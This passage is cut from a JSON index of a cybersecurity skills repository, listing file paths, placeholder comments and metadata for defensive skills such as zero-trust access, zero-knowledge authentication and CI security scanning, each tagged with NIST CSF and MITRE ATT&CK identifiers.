/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-knowledge-proof-for-authentication%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":439,"sizeBytes":1612},{"name":"standards.md","path":"skills/implementing-zero-knowledge-proof-for-authentication/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-knowledge-proof-for-authentication/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-knowledge-proof-for-authentication%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":260,"sizeBytes":1042},{"name":"workflows.md","path":"skills/implementing-zero-knowledge-proof-for-authentication/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-knowledge-proof-for-authentication/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-knowledge-proof-for-authentication%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":358,"sizeBytes":1298},{"name":"SKILL.md","path":"skills/implementing-zero-knowledge-proof-for-authentication/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-knowledge-proof-for-authentication/SKILL.md","title":"implementing-zero-knowledge-proof-for-authentication","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-knowledge-proof-for-authentication%2FSKILL.md -->","frontmatter":{"name":"implementing-zero-knowledge-proof-for-authentication","description":"Implements the Schnorr identification protocol and a simplified Zero-Knowledge Password Proof (ZKPP) over the discrete logarithm problem, letting a prover authenticate by demonstrating knowledge of a secret without ever revealing it to the server. Use when designing or building password-less or password-secret-free authentication, or when a server must verify a user's credential without learning or storing the underlying secret.","domain":"cybersecurity","subdomain":"cryptography","tags":["cryptography","zero-knowledge-proof","authentication","privacy","zkp"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-01","PR.DS-02","PR.DS-10"],"mitre_attack":["T1600","T1573","T1553"]},"isInternal":false,"tokens":744,"sizeBytes":3431},{"name":"template.md","path":"skills/implementing-zero-standing-privilege-with-cyberark/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-standing-privilege-with-cyberark/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-standing-privilege-with-cyberark%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":286,"sizeBytes":1254},{"name":"api-reference.md","path":"skills/implementing-zero-standing-privilege-with-cyberark/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-standing-privilege-with-cyberark/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-standing-privilege-with-cyberark%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":411,"sizeBytes":1705},{"name":"standards.md","path":"skills/implementing-zero-standing-privilege-with-cyberark/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-standing-privilege-with-cyberark/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-standing-privilege-with-cyberark%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":375,"sizeBytes":1675},{"name":"workflows.md","path":"skills/implementing-zero-standing-privilege-with-cyberark/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-standing-privilege-with-cyberark/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-standing-privilege-with-cyberark%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":775,"sizeBytes":3705},{"name":"SKILL.md","path":"skills/implementing-zero-standing-privilege-with-cyberark/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-standing-privilege-with-cyberark/SKILL.md","title":"implementing-zero-standing-privilege-with-cyberark","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-standing-privilege-with-cyberark%2FSKILL.md -->","frontmatter":{"name":"implementing-zero-standing-privilege-with-cyberark","description":"Deploy CyberArk Secure Cloud Access (SCA) to eliminate standing privileges in AWS, Azure, and GCP by provisioning ephemeral, scoped roles on a just-in-time basis governed by the TEA framework (Time, Entitlements, Approvals). Use when designing or implementing zero standing privilege / just-in-time privileged access models with CyberArk, or when replacing persistent cloud admin roles with time-bound, approval-gated sessions.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["cyberark","zero-standing-privilege","jit-access","pam","cloud-security","least-privilege"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098","T1078.004"]},"isInternal":false,"tokens":2108,"sizeBytes":9487},{"name":"template.md","path":"skills/implementing-zero-trust-dns-with-nextdns/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-dns-with-nextdns/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-dns-with-nextdns%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":382,"sizeBytes":1526},{"name":"api-reference.md","path":"skills/implementing-zero-trust-dns-with-nextdns/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-dns-with-nextdns/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-dns-with-nextdns%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":435,"sizeBytes":1696},{"name":"standards.md","path":"skills/implementing-zero-trust-dns-with-nextdns/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-dns-with-nextdns/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-dns-with-nextdns%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":404,"sizeBytes":1759},{"name":"workflows.md","path":"skills/implementing-zero-trust-dns-with-nextdns/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-dns-with-nextdns/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-dns-with-nextdns%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":565,"sizeBytes":2462},{"name":"SKILL.md","path":"skills/implementing-zero-trust-dns-with-nextdns/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-dns-with-nextdns/SKILL.md","title":"implementing-zero-trust-dns-with-nextdns","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-dns-with-nextdns%2FSKILL.md -->","frontmatter":{"name":"implementing-zero-trust-dns-with-nextdns","description":"Configure NextDNS as an encrypted (DoH/DoT) zero trust DNS resolver that blocks malicious, phishing, and cryptojacking domains via real-time threat intelligence, detects DNS rebinding and CNAME cloaking, and enforces organizational DNS policy across endpoints. Use when deploying DNS-layer threat blocking and acceptable-use enforcement, or when extending zero trust controls (including Windows 11 Zero Trust DNS) to the DNS resolution path.","domain":"cybersecurity","subdomain":"zero-trust-architecture","tags":["zero-trust","dns","nextdns","dns-over-https","dns-over-tls","threat-blocking","dns-filtering","privacy","encrypted-dns"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-05","PR.IR-01","GV.PO-01"],"mitre_attack":["T1078","T1190","T1059","T1573","T1486"]},"isInternal":false,"tokens":2888,"sizeBytes":11280},{"name":"api-reference.md","path":"skills/implementing-zero-trust-for-saas-applications/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-for-saas-applications/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-for-saas-applications%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":395,"sizeBytes":1717},{"name":"SKILL.md","path":"skills/implementing-zero-trust-for-saas-applications/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-for-saas-applications/SKILL.md","title":"implementing-zero-trust-for-saas-applications","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-for-saas-applications%2FSKILL.md -->","frontmatter":{"name":"implementing-zero-trust-for-saas-applications","description":"Secures SaaS apps (Microsoft 365, Google Workspace, Salesforce, Slack) via CASB/SSPM deployment, conditional access policies, OAuth app governance, and session-level DLP controls enforcing identity verification and device compliance. Use when adding MFA/device-compliance conditional access, discovering shadow IT, governing OAuth consent grants, or applying session controls to sensitive SaaS data.","domain":"cybersecurity","subdomain":"zero-trust-architecture","tags":["zero-trust","saas-security","casb","sspm","conditional-access","oauth-governance","session-controls"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-05","PR.IR-01","GV.PO-01"],"mitre_attack":["T1078","T1190","T1059","T1078.004","T1530"]},"isInternal":false,"tokens":2739,"sizeBytes":11472},{"name":"api-reference.md","path":"skills/implementing-zero-trust-in-cloud/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-in-cloud/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-in-cloud%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":651,"sizeBytes":2845},{"name":"SKILL.md","path":"skills/implementing-zero-trust-in-cloud/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-in-cloud/SKILL.md","title":"implementing-zero-trust-in-cloud","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-in-cloud%2FSKILL.md -->","frontmatter":{"name":"implementing-zero-trust-in-cloud","description":"Guides zero trust implementation across AWS, Azure, and GCP per NIST SP 800-207 and BeyondCorp principles, covering identity-centric access, micro-segmentation, continuous verification, device trust assessment, and Identity-Aware Proxy deployment. Use when migrating from perimeter security to identity-centric access, removing VPN dependency, or designing micro-segmentation for multi-cloud workloads.","domain":"cybersecurity","subdomain":"cloud-security","tags":["zero-trust","beyondcorp","identity-aware-proxy","micro-segmentation","continuous-verification"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580"]},"isInternal":false,"tokens":2935,"sizeBytes":13355},{"name":"template.md","path":"skills/implementing-zero-trust-network-access-with-zscaler/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-network-access-with-zscaler/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access-with-zscaler%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1024,"sizeBytes":3587},{"name":"api-reference.md","path":"skills/implementing-zero-trust-network-access-with-zscaler/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-network-access-with-zscaler/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access-with-zscaler%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":428,"sizeBytes":1644},{"name":"standards.md","path":"skills/implementing-zero-trust-network-access-with-zscaler/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-network-access-with-zscaler/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access-with-zscaler%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":1061,"sizeBytes":4968},{"name":"workflows.md","path":"skills/implementing-zero-trust-network-access-with-zscaler/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-network-access-with-zscaler/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access-with-zscaler%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1621,"sizeBytes":7752},{"name":"SKILL.md","path":"skills/implementing-zero-trust-network-access-with-zscaler/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-network-access-with-zscaler/SKILL.md","title":"implementing-zero-trust-network-access-with-zscaler","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access-with-zscaler%2FSKILL.md -->","frontmatter":{"name":"implementing-zero-trust-network-access-with-zscaler","description":"Configures Zero Trust Network Access using Zscaler Private Access (ZPA) to broker identity-based, context-aware connections between authenticated users and internal applications through the Zscaler Zero Trust Exchange, without placing users on the corporate network. Use when replacing traditional VPN architectures with ZTNA, or when brokering secure per-application access for remote and hybrid users via Zscaler.","domain":"cybersecurity","subdomain":"zero-trust-architecture","tags":["zero-trust","ztna","zscaler","network-access","vpn-replacement"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-05","PR.IR-01","GV.PO-01"],"mitre_attack":["T1078","T1190","T1059"]},"isInternal":false,"tokens":1589,"sizeBytes":7652},{"name":"api-reference.md","path":"skills/implementing-zero-trust-network-access/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-network-access/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":618,"sizeBytes":2786},{"name":"SKILL.md","path":"skills/implementing-zero-trust-network-access/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-network-access/SKILL.md","title":"implementing-zero-trust-network-access","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access%2FSKILL.md -->","frontmatter":{"name":"implementing-zero-trust-network-access","description":"Configures Zero Trust Network Access (ZTNA) in AWS, Azure, and GCP using identity-aware proxies, micro-segmentation, and continuous verification with conditional access policies, replacing VPN-based access with BeyondCorp-style architectures. Use when replacing VPN remote access with identity-based controls, limiting lateral movement via micro-segmentation, or exposing cloud workloads to authenticated users without public internet exposure.","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","zero-trust","ztna","beyondcorp","identity-aware-proxy","micro-segmentation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580"]},"isInternal":false,"tokens":3016,"sizeBytes":13326},{"name":"api-reference.md","path":"skills/implementing-zero-trust-with-beyondcorp/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-with-beyondcorp/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-beyondcorp%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":646,"sizeBytes":2619},{"name":"SKILL.md","path":"skills/implementing-zero-trust-with-beyondcorp/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-with-beyondcorp/SKILL.md","title":"implementing-zero-trust-with-beyondcorp","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-beyondcorp%2FSKILL.md -->","frontmatter":{"name":"implementing-zero-trust-with-beyondcorp","description":"Configures Google BeyondCorp Enterprise Identity-Aware Proxy (IAP) as the access enforcement point for web applications, defining Access Context Manager access levels from device trust and network attributes, and auditing the resulting policies for compliance. Use when eliminating perimeter/VPN trust for GCP resources or internal apps, or when setting up identity- and device-posture-based access controls on Google Cloud.","domain":"cybersecurity","subdomain":"zero-trust","tags":["zero-trust","beyondcorp","google-cloud","iap","context-aware-access","device-trust","identity"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-05","PR.IR-01"],"mitre_attack":["T1078","T1550","T1021","T1556","T1078.004"]},"isInternal":false,"tokens":612,"sizeBytes":2928},{"name":"template.md","path":"skills/implementing-zero-trust-with-hashicorp-boundary/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-with-hashicorp-boundary/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-hashicorp-boundary%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":365,"sizeBytes":1381},{"name":"api-reference.md","path":"skills/implementing-zero-trust-with-hashicorp-boundary/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-with-hashicorp-boundary/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-hashicorp-boundary%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":408,"sizeBytes":1636},{"name":"standards.md","path":"skills/implementing-zero-trust-with-hashicorp-boundary/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-with-hashicorp-boundary/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-hashicorp-boundary%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":476,"sizeBytes":2275},{"name":"workflows.md","path":"skills/implementing-zero-trust-with-hashicorp-boundary/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-with-hashicorp-boundary/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-hashicorp-boundary%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":726,"sizeBytes":3496},{"name":"SKILL.md","path":"skills/implementing-zero-trust-with-hashicorp-boundary/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-zero-trust-with-hashicorp-boundary/SKILL.md","title":"implementing-zero-trust-with-hashicorp-boundary","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-hashicorp-boundary%2FSKILL.md -->","frontmatter":{"name":"implementing-zero-trust-with-hashicorp-boundary","description":"Installs and configures HashiCorp Boundary as a default-deny, identity-aware proxy for infrastructure access, including controller/worker setup, Vault-backed credential brokering, session recording, and OIDC/LDAP auth across an org/project scope hierarchy. Use when replacing VPN or direct network access with just-in-time, credential-less Boundary sessions, or standing up Boundary controllers and workers.","domain":"cybersecurity","subdomain":"zero-trust-architecture","tags":["zero-trust","hashicorp","boundary","privileged-access","vault","identity-aware-proxy","session-recording","just-in-time-access"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-05","PR.IR-01","GV.PO-01"],"mitre_attack":["T1078","T1190","T1059","T1003","T1110"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning","resource-development"],"techniques":[{"id":"T1586","name":"Compromise Accounts","tactic":"resource-development","source":"attack"},{"id":"T1110","name":"Brute Force","tactic":"initial-access","source":"attack"},{"id":"T1110.004","name":"Brute Force:  Credential Stuffing","tactic":"initial-access","source":"attack"},{"id":"T1219","name":"Remote Access Tools","tactic":"positioning","source":"attack"},{"id":"F1033","name":"Insider Access Abuse","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":3795,"sizeBytes":15546},{"name":"template.md","path":"skills/integrating-dast-with-owasp-zap-in-pipeline/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/integrating-dast-with-owasp-zap-in-pipeline/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-dast-with-owasp-zap-in-pipeline%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":702,"sizeBytes":2410},{"name":"api-reference.md","path":"skills/integrating-dast-with-owasp-zap-in-pipeline/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/integrating-dast-with-owasp-zap-in-pipeline/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-dast-with-owasp-zap-in-pipeline%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":449,"sizeBytes":1496},{"name":"standards.md","path":"skills/integrating-dast-with-owasp-zap-in-pipeline/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/integrating-dast-with-owasp-zap-in-pipeline/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-dast-with-owasp-zap-in-pipeline%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":389,"sizeBytes":1412},{"name":"workflows.md","path":"skills/integrating-dast-with-owasp-zap-in-pipeline/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/integrating-dast-with-owasp-zap-in-pipeline/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-dast-with-owasp-zap-in-pipeline%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":658,"sizeBytes":2443},{"name":"SKILL.md","path":"skills/integrating-dast-with-owasp-zap-in-pipeline/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/integrating-dast-with-owasp-zap-in-pipeline/SKILL.md","title":"integrating-dast-with-owasp-zap-in-pipeline","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-dast-with-owasp-zap-in-pipeline%2FSKILL.md -->","frontmatter":{"name":"integrating-dast-with-owasp-zap-in-pipeline","description":"Integrates OWASP ZAP (Zed Attack Proxy) into GitHub Actions and GitLab CI pipelines, covering baseline, full, and API scan configuration against running applications, ZAP finding interpretation, scan policy tuning, and DAST quality gates. Use when testing running web apps or REST/GraphQL APIs for XSS, SQLi, CSRF, and auth/authz flaws, or when SAST alone is insufficient and runtime DAST is required for compliance or release gating.","domain":"cybersecurity","subdomain":"devsecops","tags":["devsecops","cicd","dast","owasp-zap","dynamic-testing","secure-sdlc"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","GV.SC-07","ID.IM-04","PR.PS-04"],"mitre_attack":["T1195","T1554","T1059.004"]},"isInternal":false,"tokens":2131,"sizeBytes":8368},{"name":"template.md","path":"skills/integrating-sast-into-github-actions-pipeline/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/integrating-sast-into-github-actions-pipeline/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-sast-into-github-actions-pipeline%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1274,"sizeBytes":4780},{"name":"api-reference.md","path":"skills/integrating-sast-into-github-actions-pipeline/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/integrating-sast-into-github-actions-pipeline/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-sast-into-github-actions-pipeline%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":427,"sizeBytes":1460},{"name":"standards.md","path":"skills/integrating-sast-into-github-actions-pipeline/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/integrating-sast-into-github-actions-pipeline/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-sast-into-github-actions-pipeline%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":689,"sizeBytes":2957},{"name":"workflows.md","path":"skills/integrating-sast-into-github-actions-pipeline/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/integrating-sast-into-github-actions-pipeline/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-sast-into-github-actions-pipeline%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1161,"sizeBytes":5299},{"name":"SKILL.md","path":"skills/integrating-sast-into-github-actions-pipeline/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/integrating-sast-into-github-actions-pipeline/SKILL.md","title":"integrating-sast-into-github-actions-pipeline","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-sast-into-github-actions-pipeline%2FSKILL.md -->","frontmatter":{"name":"integrating-sast-into-github-actions-pipeline","description":"Integrates CodeQL and Semgrep SAST scanning into GitHub Actions, covering scans on pull requests/pushes, rule tuning to cut false positives, SARIF upload to GitHub Advanced Security, and merge-blocking quality gates for high-severity findings. Use when adding automated code vulnerability detection to 